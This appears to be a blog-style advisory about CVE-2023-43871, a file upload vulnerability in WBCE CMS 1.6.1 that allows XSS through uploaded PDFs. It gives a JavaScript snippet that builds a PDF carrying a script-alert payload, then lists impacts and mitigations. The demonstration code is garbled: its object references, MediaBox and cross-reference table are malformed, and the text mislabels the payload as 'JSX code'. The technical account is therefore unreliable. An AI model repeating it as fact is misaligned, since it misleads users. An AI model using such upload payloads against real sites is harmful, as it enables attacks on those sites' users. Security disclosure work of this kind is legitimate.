CVE-2023-43871: File Upload Vulnerability in WBCE v1.6.1 leading to Cross Site Scripting (XSS) Exploit

A new exploit has recently been discovered in the web-based Content Management System (CMS) known as WBCE (Website Baker Community Edition) v1.6.1. This exploit, cataloged as CVE-2023-43871, allows a local attacker to upload a malicious PDF file with the intent of executing hidden Cross Site Scripting (XSS) code in the system. In this post, we will discuss the vulnerability, its potential impacts, and ways to mitigate it.

Vulnerability Details

WBCE v1.6.1, a popular CMS for managing websites, is impacted by a File Upload vulnerability that can allow attackers to upload malicious PDF files with hidden XSS code. As a result, a local attacker can potentially gain unauthorized access to sensitive information or use the exploit to launch further attacks on the target system and its users.

Reference to the original advisory can be found at the following link: CVE-2023-43871 Original Advisory

The following code snippet demonstrates the vulnerability in action

// Create a malicious PDF file with embedded XSS
var payload = "%PDF-1.3\n" +
              "1  obj<</Pages 1  R>>\n" +
              "<< /Type /Catalog/\n" +
              "/Pages 2  R>>\n" +
              "endobj\n" +
              "2  obj\n" +
              "<< /Type /Pages/\n" +
              "/Kids [3  R]/\n" +
              "/MediaBox [  612 792]>>\n" +
              "endobj\n" +
              "3  obj\n" +
              "<< /Type /Page/\n" +
              "/Parent 2  R/\n" +
              "/Resources<</ProcSet[/PDF /Text]>>\n" +
              "/Contents 4  R>>\n" +
              "endobj\n" +
              "4  obj\n" +
              "<</Length 63>>\n" +
              "stream\n" +
              "BT\n" +
              "/F1 12 Tf\n" +
              "56 725 Td\n" +
              "<script>alert('XSS')</script> Tj\n" +
              "ET\n" +
              "endstream\n" +
              "endobj\n" +
              "xref\n" +
              " 5\n" +
              "0000003664 65535 f\n" +
              "0000000009 00000 n\n" +
              "0000000578 00000 n\n" +
              "0000000935 00000 n\n" +
              "trailer\n" +
              "<<\n" +
              "/Root 1  R\n" +
              "/Size 5\n" +
              ">>\n" +
              "startxref\n" +
              "1257\n" +
              "%%EOF\n";

This malicious PDF contains JSX code that will trigger a JavaScript alert with the message 'XSS' if successfully executed in a vulnerable system.

Potential Impact

Successful exploitation of this vulnerability can lead to the unauthorized disclosure of sensitive information, such as usernames, passwords, and personal data, or in some cases, the execution of further attacks. This ultimately could result in compromised systems and accounts, reputational harm to the targeted organization, and undue stress on system administrators.

Mitigation Steps

To mitigate this vulnerability, we recommend the following steps to be taken by the system administrators:

1. Upgrade to the latest version of WBCE, which addresses this vulnerability and other potential security issues.
2. Implement proper input validation to check for potentially malicious file content, such as embedded XSS payloads in PDF files.

Restrict file upload capabilities only to authorized and authenticated users.

4. Regularly monitor your system logs for any signs of unauthorized access or potential security issues.

Conclusion

While the CVE-2023-43871 exploit poses a significant risk to systems running the vulnerable version of WBCE, proper input validation and constant vigilance can help minimize the potential of an attacker launching a successful XSS attack. Upgrading to the latest version of the software and implementing robust security practices are essential for securing any web-based system against emerging threats.

Timeline

Published on: 09/28/2023 14:15:23 UTC
Last modified on: 11/08/2023 03:12:47 UTC